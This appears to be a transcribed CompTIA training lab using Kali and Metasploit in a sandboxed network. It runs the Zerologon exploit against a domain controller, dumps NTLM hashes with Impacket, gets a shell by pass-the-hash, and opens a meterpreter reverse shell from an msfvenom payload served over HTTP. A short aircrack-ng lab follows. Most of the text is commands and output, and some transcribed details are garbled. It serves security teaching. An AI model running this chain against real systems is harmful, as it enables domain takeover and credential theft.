BASE_DN       DOMAIN            no        LDAP base DN if you already have it
DOMAIN        DOMAIN            no        The domain to authenticate to
OUTPUT_FORMAT OUTPUT_FORMAT      yes       The output format to use (Accepted: csv, table, json)
PASSWORD      PASSWORD          no        The password to authenticate with
RHOSTS        RHOSTS            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasplo
it/basics/using-metasploit.html
RPORT        389               yes       The target port
SSL           false             no        Enable SSL on the LDAP connection
USERNAME      USERNAME          no        The username to authenticate with
```

Web Browser Window (CompTIA Lab Interface):

Instructions Resources

Read over the displayed information for this MSF element.

☐ 37. Select to use or activate this MSF element by entering: **use 0**

The prompt should now be: **msf6 auxiliary(/gather/ldap_query)**

☐ 38. View the configuration options by entering: **show options**

☐ 39. Set RHOSTS to the DC10 target by entering **set rhosts 10.1.16.1**

☐ 40. Perform the LDAP query by entering: **run**

The LDAP query MSF element should have returned the domain name in use on DC10. What is the primary or main domain name returned by this operation? (Type just the main domain name result in the box below)

29 Minutes Remaining

1 Lab 4 – Using Metasploit on Kali

The image displays two screenshots of a Kali Linux terminal window and a web browser, illustrating a Metasploit session and a lab interface.

Top Screenshot:

- Terminal:** Shows the Metasploit (msf6) prompt. The user enters `msf6 auxiliary(scanner/smb/smb_version) > use 0` and `msf6 auxiliary(gather/ldap_query) > show options`. The output displays the module options for `auxiliary/gather/ldap_query`, including settings like `BASE_DN`, `DOMAIN`, `OUTPUT_FORMAT`, `PASSWORD`, `RHOSTS`, `RPORT`, `SSL`, and `USERNAME`. It also shows the `When ACTION is RUN_SINGLE_QUERY:` and `When ACTION is RUN_QUERY_FILE:` sections.
- Browser:** Shows the CompTIA lab interface. The instructions section lists tasks 38, 39, and 40. Task 38 is "View the configuration options by entering: `show options`". Task 39 is "Set RHOSTS to the DC10 target by entering `set rhosts 10.1.16.1`". Task 40 is "Perform the LDAP query by entering: `run`". The interface includes an "Evaluate" button and a "Previous/Next" navigation bar.

Bottom Screenshot:

- Terminal:** Shows the continuation of the Metasploit session. The user enters `msf6 auxiliary(gather/ldap_query) > set rhosts 10.1.16.1`, resulting in `rhosts => 10.1.16.1`. Then, the user enters `msf6 auxiliary(gather/ldap_query) > run`, which executes the module against 10.1.16.1. The output shows the discovered base DN: `DC=ad,DC=structureality,DC=com`. It also displays an error message: "Auxiliary aborted due to failure: unknown: An LDAP operational error occurred. It is likely the client requires a authorization! The error was: 000004DC: LdapErr: DSID-0C090A37, comment: In order to perform this operation a successful ul bind must be completed on the connection., data 0, v4563". The session concludes with `msf6 auxiliary(gather/ldap_query) > []`.
- Browser:** Shows the same CompTIA lab interface as the top screenshot, but with tasks 38 and 39 checked, indicating they have been completed. The "Evaluate" button is still present, and the "Previous/Next" navigation bar shows "Previous" and "Next" buttons.

1 Lab 4 – Using Metasploit on Kali

The image displays two screenshots of a Kali Linux terminal window and a CompTIA lab interface, showing the execution of a Metasploit module.

Top Screenshot:

The terminal window shows the execution of the `msfrpc auxiliary(gather/ldap_query)` module. The user sets `rhosts` to `10.1.16.1` and runs the module. The output shows the module's configuration and the execution results, including a warning about a failure due to an LDAP operational error.

The CompTIA interface on the right shows the instructions for the lab. The prompt should now be: `msfrpc auxiliary(gather/ldap_query)`. The instructions list questions 38, 39, and 40, and a congratulatory message for the correct answer to question 40.

Bottom Screenshot:

The terminal window shows the same execution of the `msfrpc auxiliary(gather/ldap_query)` module. The user enters the `back` command, returning to the `msf6` prompt.

The CompTIA interface on the right shows the instructions for the lab. The prompt should now be: `msf6`. The instructions list question 41, and a congratulatory message for the correct answer to question 40.

1

The screenshot displays a Kali Linux terminal window and a web browser window. The terminal window shows the user at the root prompt, navigating to the home directory and running the `search zerologon` command. The output lists the `auxiliary/admin/dcerpc/cve_2020_1472_zerologon` module, which is a Netlogon Weak Cryptographic Authentication module. The terminal also shows the `info 0` command being executed, displaying details about the module, including its name, module path, license, and rank. The web browser window shows the CompTIA website, which provides instructions for the Zerologon vulnerability. The instructions include a step to search for Zerologon (CVE-2020-1472) by entering `search zerologon` in the Metasploit prompt, and another step to view the information related to the specified element by entering `info 0`. The browser also shows a progress bar indicating 21 minutes remaining.

1 Lab 4 – Using Metasploit on Kali

The image displays two sequential screenshots of a Kali Linux terminal window and a CompTIA lab interface. The terminal window shows the execution of the `msfrpc/cve_2020_1472_zerologon` module, including setting `NBNAME` to `dc10` and `RHOSTS` to `10.1.16.1`. The CompTIA lab interface on the right provides instructions for the lab, including steps to view module information, set options, and initiate the exploit.

Terminal Window (Kali Linux):

```
root@kali: /home/kali

File Actions Edit View Help

Also known as:
  Zerologon

View the full module info with the info -d command.

msf6 > use 0
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options

Module options (auxiliary/admin/dcerpc/cve_2020_1472_zerologon):
```

Name	Current Setting	Required	Description
NBNAME		yes	The server's NetBIOS name
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT		no	The netlogon RPC port (TCP)

When ACTION is RESTORE:

Name	Current Setting	Required	Description
PASSWORD		no	The password to restore for the machine account (in hex)

Auxiliary action:

Name	Description
REMOVE	Remove the machine account password

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > []
```

CompTIA Lab Interface:

Instructions Resources

Enter on your keyboard or click out of the text box.

- ☒ 4. View the information related to the specified element by entering:
`info 0`
Read over these details. For many MSF elements, critical information is presented here that must be addressed to successfully use an exploit or other tool.
- ☐ 5. Select to use or activate this MSF element by entering:
`use 0`
The prompt should now be:
`msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >`
- ☐ 6. View the configuration options by entering:
`show options`
Notice which options are required to be defined.
- ☐ 7. Set **NBNAME** to **dc10** by entering:

Previous Next

21 Minutes Remaining

Terminal Window (Kali Linux):

```
root@kali: /home/kali

File Actions Edit View Help

View the full module info with the info, or info -d command.

msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set nbname dc10
nbname => dc10
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set rhosts 10.1.16.1
rhosts => 10.1.16.1
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options

Module options (auxiliary/admin/dcerpc/cve_2020_1472_zerologon):
```

Name	Current Setting	Required	Description
NBNAME	dc10	yes	The server's NetBIOS name
RHOSTS	10.1.16.1	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT		no	The netlogon RPC port (TCP)

When ACTION is RESTORE:

Name	Current Setting	Required	Description
PASSWORD		no	The password to restore for the machine account (in hex)

Auxiliary action:

Name	Description
REMOVE	Remove the machine account password

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > []
```

CompTIA Lab Interface:

Instructions Resources

- ☒ 7. Set **NBNAME** to **dc10** by entering:
`set nbname dc10`
- ☒ 8. Set **RHOSTS** to **10.1.16.1** by entering:
`set rhosts 10.1.16.1`
- ☒ 9. View the configured exploit by entering:
`show options`
You should see the options are set to the values you defined.
- ☐ 10. Initiate the MSF element to perform the attack on the target by entering:
`exploit`
Several lines of information will be presented as the attack is performed. There should be a statement of "Successfully set the machine account (dc10\$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0 (empty)".
Now that you have exploited a flaw in the target to set the machine account password to nothing (i.e., `null`), you can take advantage of

Previous Next

20 Minutes Remaining

1 Lab 4 – Using Metasploit on Kali

Hands-on lab activity 04

Learning Platform | CompTIA

Live Lab: Investigating with Metasploit

https://labclient.labondemand.com/LabClient/e0f88653-4c10-4f6c-a665-71e33375777f

KALI

root@kali: /home/kali

File Actions Edit View Help

```
msf6 auxiliary(admin/dcercp/cve_2020_1472_zerologon) > exploit
[*] Running module against 10.1.16.1

[*] 10.1.16.1: - Connecting to the endpoint mapper service ...
[*] 10.1.16.1:49667 - Binding to 12345678-1234-abcd-ef00-01234567cfff:1.0@ncacn_ip_tcp:10.1.16.1[49667] ...
[*] 10.1.16.1:49667 - Bound to 12345678-1234-abcd-ef00-01234567cfff:1.0@ncacn_ip_tcp:10.1.16.1[49667] ...
[*] 10.1.16.1:49667 - Successfully authenticated
[*] 10.1.16.1:49667 - Successfully set the machine account (dc10$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfed016ae931b73c59d7e0c089c0 (empty)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcercp/cve_2020_1472_zerologon) > impacket-secretsdump -just-dc-ntlm structureality/dc10\%@10.1.16.1
[*] exec: impacket-secretsdump -just-dc-ntlm structureality/dc10\%@10.1.16.1

Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Dumping Domain Credentials (domainuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfed016ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb71e842fd95bce2bb2087bf323fcb44:::
structureality.com/Cam:1105:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
structureality.com/Jaime:1106:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Sam:1107:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Rene:1108:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Dylan:1109:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Angel:1110:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Jaylani:1111:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Kei:1112:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Viral:1113:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Dani:1114:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
DC10$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfed016ae931b73c59d7e0c089c0:::
PC10$:1124:aad3b435b51404eeaad3b435b51404ee:a810138195a208e7bc5234274c1f8e36:::
MS10$:3601:aad3b435b51404eeaad3b435b51404ee:fff04baaaeb16702bf3d3a53dab6af24:::
[*] Cleaning up ...
msf6 auxiliary(admin/dcercp/cve_2020_1472_zerologon) > []
```

CompTIA

Exit Lab

Instructions Resources

☐ 11. Use Impacket to dump NTLM hashes by entering:
`impacket-secretsdump -just-dc-ntlm structureality/dc10\%@10.1.16.1`

In Kali Linux, the Impacket commands, such as `impacket-secretsdump` and `impacket-psexec`, are provided as wrapper scripts that more...

☐ 12. When prompted by "Password", press **Enter** on your keyboard to submit `null` as the password.

This should result in a dump of the domain account credentials from the DC10 domain controller. The dumped domain credentials are formatted as
domainuid:rid:lmhash:nthash:

- domain - the Active Directory domain name, not present for local accounts

← Previous

Next →

19 Minutes Remaining

Hands-on lab activity 04

Learning Platform | CompTIA

Live Lab: Investigating with Metasploit

https://labclient.labondemand.com/LabClient/e0f88653-4c10-4f6c-a665-71e33375777f

KALI

root@kali: /home/kali

File Actions Edit View Help

```
msf6 auxiliary(admin/dcercp/cve_2020_1472_zerologon) > exploit
[*] Running module against 10.1.16.1

[*] 10.1.16.1: - Connecting to the endpoint mapper service ...
[*] 10.1.16.1:49667 - Binding to 12345678-1234-abcd-ef00-01234567cfff:1.0@ncacn_ip_tcp:10.1.16.1[49667] ...
[*] 10.1.16.1:49667 - Bound to 12345678-1234-abcd-ef00-01234567cfff:1.0@ncacn_ip_tcp:10.1.16.1[49667] ...
[*] 10.1.16.1:49667 - Successfully authenticated
[*] 10.1.16.1:49667 - Successfully set the machine account (dc10$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfed016ae931b73c59d7e0c089c0 (empty)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcercp/cve_2020_1472_zerologon) > impacket-secretsdump -just-dc-ntlm structureality/dc10\%@10.1.16.1
[*] exec: impacket-secretsdump -just-dc-ntlm structureality/dc10\%@10.1.16.1

Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Dumping Domain Credentials (domainuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfed016ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb71e842fd95bce2bb2087bf323fcb44:::
structureality.com/Cam:1105:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
structureality.com/Jaime:1106:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Sam:1107:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Rene:1108:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Dylan:1109:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Angel:1110:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Jaylani:1111:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Kei:1112:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Viral:1113:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
structureality.com/Dani:1114:aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::
DC10$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfed016ae931b73c59d7e0c089c0:::
PC10$:1124:aad3b435b51404eeaad3b435b51404ee:a810138195a208e7bc5234274c1f8e36:::
MS10$:3601:aad3b435b51404eeaad3b435b51404ee:fff04baaaeb16702bf3d3a53dab6af24:::
[*] Cleaning up ...
msf6 auxiliary(admin/dcercp/cve_2020_1472_zerologon) > []
```

CompTIA

Exit Lab

Instructions Resources

Based on the domain credential dump and knowing that the password for the DC10\$ machine account is now `null`, what other account is also currently without a password?

☒ Guest

☐ Administrator

☐ structureality/Angel

☐ PC10\$

Evaluate

✓ Congratulations, you have answered the question correctly.

☐ 13. For the next command, you need to copy the `lmhash:nthash` portion of the domain credential dump for the Administrator account into the Kali clipboard (i.e., `aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9:::`). To do this, locate the dump line for the administrator account. Then, use your mouse to position the cursor just before the first letter of the `lmhash` and hold down the

← Previous

Next →

18 Minutes Remaining

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1 Lab 4 – Using Metasploit on Kali

The top screenshot shows a Kali Linux terminal window with the following commands and output:

```
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zeroologon) > impacket-psexec structureality/administrator@10.1.16.1 -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9
[*] exec: impacket-psexec structureality/administrator@10.1.16.1 -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on 10.1.16.1.....
[*] Found writable share ADMIN$
[*] Uploading file zQPLPEBn.exe
[*] Opening SVCManager on 10.1.16.1.....
[*] Creating service lfph on 10.1.16.1.....
[*] Starting service lfph.....
[*] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> hostname
DC10

C:\Windows\system32> 
```

The bottom screenshot shows the same Kali Linux terminal window with the following commands and output:

```
root@kali: /home/kali
(kali@kali)-[~]
$ sudo su
[sudo] password for kali:
(root@kali)-[/home/kali]
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: secretfile.exe

(root@kali)-[/home/kali]
$ ls -l
total 304
-rw-r--r-- 1 root root 1452 Jul 3 2025 demo-hashes.txt
drwxr-xr-x 2 kali kali 4096 Jan 16 2024 Desktop
drwxr-xr-x 2 kali kali 4096 Jan 16 2024 Documents
drwxr-xr-x 2 kali kali 4096 Jan 16 2024 Downloads
-rw-r--r-- 1 root root 1164 Jul 3 2025 ms10-hashes.txt
drwxr-xr-x 2 kali kali 4096 Jan 16 2024 Music
-rwxrwxrwx 1 root root 206358 Feb 9 13:25 passwords14.txt
drwxr-xr-x 2 kali kali 4096 Jan 16 2024 Pictures
drwxr-xr-x 2 kali kali 4096 Jan 16 2024 Public
drwxr-xr-x 2 kali kali 4096 Oct 1 2024 qotd
-rw-r--r-- 1 kali kali 0 Oct 1 2024 qotd.py
-rw-r--r-- 1 root root 7168 Feb 11 17:18 secretfile.exe
-rw-r--r-- 1 root root 42944 Feb 11 16:34 targets.xml
drwxr-xr-x 2 kali kali 4096 Jan 16 2024 Templates
-rw-r--r-- 1 root root 108 Jul 3 2025 users.txt
drwxr-xr-x 2 kali kali 4096 Jan 16 2024 Videos
```

The CompTIA interface on the right provides instructions and a progress bar for each step. The top screenshot shows step 16, and the bottom screenshot shows step 7.

Step 16: Confirm you have a working remote command prompt on the target system by having the system identify itself by entering: `hostname`. The result should be `DC10`. You have gained remote command prompt control of a target using an exploit from Metasploit combined with pre-scripted attacks from Impacket. In the next exercise, you will use this level of access to gain even more control over the target using more features of Metasploit.

Check Your Work:

- Confirm that you used MSF to exploit the target using the ZeroLogon exploit.
- Confirm that you used Impacket to dump hashes from the target.
- Confirm that you use Impacket to perform a pass-the-hash attack against the target and obtained remote access to a command prompt.

Step 7: To confirm the file exists and that it has a non-zero size enter: `ls -l`. You should see `secretfile.exe` in the directory long list. What is the byte size of the "secretfile.exe" you created? (Type in just the number of bytes).

Step 8: Launch a basic web server to allow the target system to easily access this meterpreter executable by entering: `python3 -m http.server 8080`.

1 Lab 4 – Using Metasploit on Kali

The image displays two screenshots of a Kali Linux terminal window and a CompTIA lab interface, illustrating the steps for using Metasploit on Kali.

First Screenshot:

- The terminal shows the user running `msfvenom` to create a reverse TCP payload. The command is: `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe`.
- The output shows the payload size (510 bytes) and the final size of the executable file (7168 bytes).
- The user then runs `ls -l` to list the files in the current directory, showing the newly created `secretfile.exe`.

Second Screenshot:

- The terminal shows the user running `python -m http.server 8080` to start a basic web server.
- The output shows the server is serving HTTP on 0.0.0.0 port 8080.
- The user then runs `msfconsole` to start the Metasploit framework.
- The terminal shows the Metasploit prompt (`msf6`) and the user entering the command `use exploit/multi/handler`.
- The terminal shows the user entering the command `show options` to view the configuration options for the selected exploit.
- The terminal shows the user entering the command `set PAYLOAD windows/x64/meterpreter/reverse_tcp` to set the payload.
- The terminal shows the user entering the command `set LHOST 10.1.16.66` to set the LHOST.
- The terminal shows the user entering the command `set LPORT 4567` to set the LPORT.
- The terminal shows the user entering the command `run` to execute the exploit.
- The terminal shows the output of the exploit, indicating a successful connection to the target.

CompTIA Lab Interface:

- The interface shows the instructions for the lab, including the steps for creating the payload and starting the web server.
- The interface shows the user's progress through the lab, with a "Previous" button and a "Next" button.
- The interface shows the remaining time for the lab, which is 24 minutes.

1 Lab 4 – Using Metasploit on Kali

The image displays two sequential screenshots of a Kali Linux terminal window and a CompTIA lab interface. The terminal shows the Metasploit framework being used to configure a multi-handler module.

Terminal Screenshot 1 (Top):

```
root@kali: /home/kali
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

  Name      Current Setting  Required  Description
  ----      -
  LHOST      10.1.16.66       yes       The listen address (an interface may be specified)
  LPORT      4567             yes       The listen port

Payload options (generic/shell_reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  LHOST      10.1.16.66       yes       The listen address (an interface may be specified)
  LPORT      4567             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Wildcard Target

View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) >
```

Terminal Screenshot 2 (Bottom):

```
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.1.16.66
LHOST => 10.1.16.66
msf6 exploit(multi/handler) > set LPORT 4567
LPORT => 4567
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.1.16.66:4567
```

CompTIA Lab Interface (Right):

The interface shows a list of instructions for the lab. The first instruction is checked, and the second is being followed.

- ☒ 16. At the "msf6 >" prompt, select to use the multi handler by entering:
use **exploit/multi/handler**
- ☐ 17. View the configuration options by entering:
show options
- ☐ 18. Set the PAYLOAD, LHOST, and LPORT values by entering each of the following commands:
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.1.16.66
set LPORT 4567

You can view the options to confirm they are set as expected by using **show options** again.
- ☐ 19. Start the multi-handler by entering:
run
There should be a statement of "Started reverse TCP handler on 10.1.16.66:4567". This confirms that the listener is ready to receive an inbound meterpreter connection request from the target.
- ☐ 20. Switch back to the first Terminal window with the remote command prompt to DC10.
- ☐ 21. Execute the meterpreter executable on the target by entering **secretfile.exe**
There will not be anything displayed as a result of meterpreter executing. You are returned to the command prompt.
- ☐ 22. One last time, switch to the second Terminal window where the MSF multi-handler listener is running.
You should see a result of "Meterpreter session 1 opened. Payloads..."

The interface includes "Previous" and "Next" buttons and a progress bar indicating 18 minutes remaining.

1 Lab 4 – Using Metasploit on Kali

The screenshot shows a Kali Linux terminal window with a Metasploit session. The terminal output is as follows:

```
root@kali: /home/kali
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.1.16.66
LHOST => 10.1.16.66
msf6 exploit(multi/handler) > set LPORT 4567
LPORT => 4567
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.1.16.66:4567
[*] Sending stage (200774 bytes) to 10.1.16.1
[*] Meterpreter session 1 opened (10.1.16.66:4567 -> 10.1.16.1:1056) at 2026-02-11 17:27:03 -0700

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > sessions

Active sessions

Id  Name  Type  Information  Connection
--  --
1   meterpreter x64/windows  NT AUTHORITY\SYSTEM @ DC10  10.1.16.66:4567 -> 10.1.16.1:1056 (10.1.16.1)

msf6 exploit(multi/handler) >
```

The web browser shows the CompTIA lab interface with the following instructions:

- 23. Leave the Meterpreter session active, but return to the MSF prompt by entering: **background**
- 24. Display the active sessions by entering: **sessions**

You should see the meterpreter session from DC10 as an active session (i.e., connection). Enter the number of the DC10 session in the text box below:

1

After you type in the value, press **Enter** on your keyboard or click out of the text box.

25. Connect to the DC10 meterpreter session by entering: **sessions -i 1**

You should see the "meterpreter>" prompt.

Previous Next

15 Minutes Remaining

The screenshot shows a Kali Linux terminal window with a Metasploit session. The terminal output is as follows:

```
root@kali: /home/kali
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.1.16.66
LHOST => 10.1.16.66
msf6 exploit(multi/handler) > set LPORT 4567
LPORT => 4567
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.1.16.66:4567
[*] Sending stage (200774 bytes) to 10.1.16.1
[*] Meterpreter session 1 opened (10.1.16.66:4567 -> 10.1.16.1:1056) at 2026-02-11 17:27:03 -0700

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > sessions

Active sessions

Id  Name  Type  Information  Connection
--  --
1   meterpreter x64/windows  NT AUTHORITY\SYSTEM @ DC10  10.1.16.66:4567 -> 10.1.16.1:1056 (10.1.16.1)

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer      : DC10
OS            : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain        : structureality
Logged On Users : 9
Meterpreter   : x64/windows
meterpreter >
```

The web browser shows the CompTIA lab interface with the following instructions:

- features available through MSH's meterpreter. Many of these will be explored in other labs. You can also view MSF meterpreter command documentation at [Meterpreter Basics](#) or [Ultimate List of Meterpreter Commands](#).

Check Your Work

- Confirm that you created a meterpreter portable executable (PE) using msfvenom.
- Confirm that you launched a temporary web server to host the PE file.
- Confirm that you used the remote control command shell on the target to perform a PowerShell command to download the PE.
- Confirm that you initiated a listener using MSF to receive the inbound connection from the target.
- Confirm that you executed the meterpreter PE on the target to establish a reverse shell with the Kali system.

Previous Next

15 Minutes Remaining

1 Lab 4 – Using Metasploit on Kali

The screenshot shows the CompTIA IT-Laptop application interface. On the left, a sidebar contains a 'Lab' section titled '4.1.12 Use aircrack-ng to Discover Hidden Networks'. The main area displays a terminal window titled 'root@IT-Laptop: ~' showing the output of the 'airodump-ng' command. The output lists several detected wireless networks, including 'CorpNet1' and 'CorpNet2'.

Lab

4.1.12 Use aircrack-ng to Discover Hidden Networks

You are the security analyst for a small corporate network. You suspect that one of the computers in your company is connecting to a rogue access point (AP). You need to find the name of the hidden rogue AP so it can be deauthorized. The computer suspected of using the rogue access point is Gst-Lap.

In this lab, your task is to complete the following:

- On IT-Laptop, use **airmon-ng** to put the wireless adapter in monitor mode.
- Use **airodump-ng** to find the hidden access point.
- Answer the question.
- From the Gst-Lap computer, connect to the rogue AP using the SSID of BookStore.

```
root@IT-Laptop: ~
File Edit View Search Terminal Help

CH 13 ][ Elapsed: 16s ][ 2026-02-11 7:59

BSSID PWR Beacons #Data CH MB ENC CIPHER AUTH ESSID
00:00:1b:45:21:11 -21 7 0 4 195 OPN <length: 0>
00:00:1b:32:15:10 -30 4 0 2 195 WPA2 TKIP MGT CorpNet2
00:00:55:55:45:23 -50 9 0 8 195 WPA2 CCMP PSK CorpNet
00:00:1b:45:21:aa -50 11 0 5 195 WPA2 CCMP PSK CorpNet1

BSSID STATION PWR Rate Lost Frames Probe
```

The screenshot shows the CompTIA Gst-Lap application interface. On the left, a sidebar contains a 'Lab' section titled '4.1.12 Use aircrack-ng to Discover Hidden Networks'. The main area displays a Windows-style desktop with a blue abstract background. A 'Wi-Fi' connection dialog is open on the right, showing a list of available networks: 'CorpNet', 'CorpNet1', 'CorpNet2', and 'Hidden Network'. The 'Hidden Network' is currently selected and open.

Lab

4.1.12 Use aircrack-ng to Discover Hidden Networks

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Wi-Fi

- CorpNet
- CorpNet1
- CorpNet2
- Hidden Network**
Open

Other people might be able to see information you send over this network

☐ Connect Automatically

Connect

More Wi-Fi settings

1 Lab 4 – Using Metasploit on Kali

Hands-on lab activity 04

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https://platform.comptia.org/v6_0_707/simwindow.html?c2lRdGVmVXJsPW00dHBzITNBJTJGJTJGY2RuLnRlc3RvdXQuY291JTJGcGVudGVzdC1wbHVzLXB0MC0wMDMtZW4tdXMIMkZiYXRlcm...

CompTIA

Floor 1 Overview

Lobby

Gst-Lap

Questions

Lab

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Recycle Bin

Wi-Fi

CorpNet

CorpNet1

CorpNet2

Hidden Network

Open

Enter the name (SSID) for the network

BookStore

Next

Cancel

More Wi-Fi settings

00:00:1b:45:21:11

Check Answers

Hands-on lab activity 04

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+

https://platform.comptia.org/v6_0_707/simwindow.html?c2lRdGVmVXJsPW00dHBzITNBJTJGJTJGY2RuLnRlc3RvdXQuY291JTJGcGVudGVzdC1wbHVzLXB0MC0wMDMtZW4tdXMIMkZiYXRlcm...

CompTIA

Floor 1 Overview

Lobby

Gst-Lap

Questions

Lab

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Recycle Bin

Wi-Fi

CorpNet

BookStore

Connected, Open

Other people might be able to see information you send over this network

Disconnect

CorpNet1

CorpNet2

More Wi-Fi settings

1 Lab 4 – Using Metasploit on Kali

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https://platform.comptia.org/v6_0_707/simwindow.html?c2lIRGVmVXJsPW0dHBzITNB/JTG/JGY2RulnRlc3RvdXQuY29lUTJGcGVudGVzdC1wbHVzLXB0M0wMDM1ZW4tdXMIMkZlYXRIcm...

CompTIA

Floor 1 Overview > IT Administration > IT-Laptop

Questions

Application Places Wed 20:15

Lab

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root@IT-Laptop: ~

File Edit View Search Terminal Help

root@IT-Laptop:~# iwconfig
lo no wireless extensions.

wlp1s0mon IEEE 802.11 ESSID:
Mode:Managed Access Point: Not-Associated Tx-Power=20dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on

enp2s0 no wireless extensions.

root@IT-Laptop:~# airmon-ng wlp1s0
usage: airmon-ng <start|stop|check> <interface> [channel or frequency]

root@IT-Laptop:~# iwconfig
lo no wireless extensions.

wlp1s0mon IEEE 802.11 ESSID:
Mode:Managed Access Point: Not-Associated Tx-Power=20dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on

enp2s0 no wireless extensions.

root@IT-Laptop:~# airmon-ng start wlp1s0

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https://platform.comptia.org/v6_0_707/simwindow.html?c2lIRGVmVXJsPW0dHBzITNB/JTG/JGY2RulnRlc3RvdXQuY29lUTJGcGVudGVzdC1wbHVzLXB0M0wMDM1ZW4tdXMIMkZlYXRIcm...

CompTIA

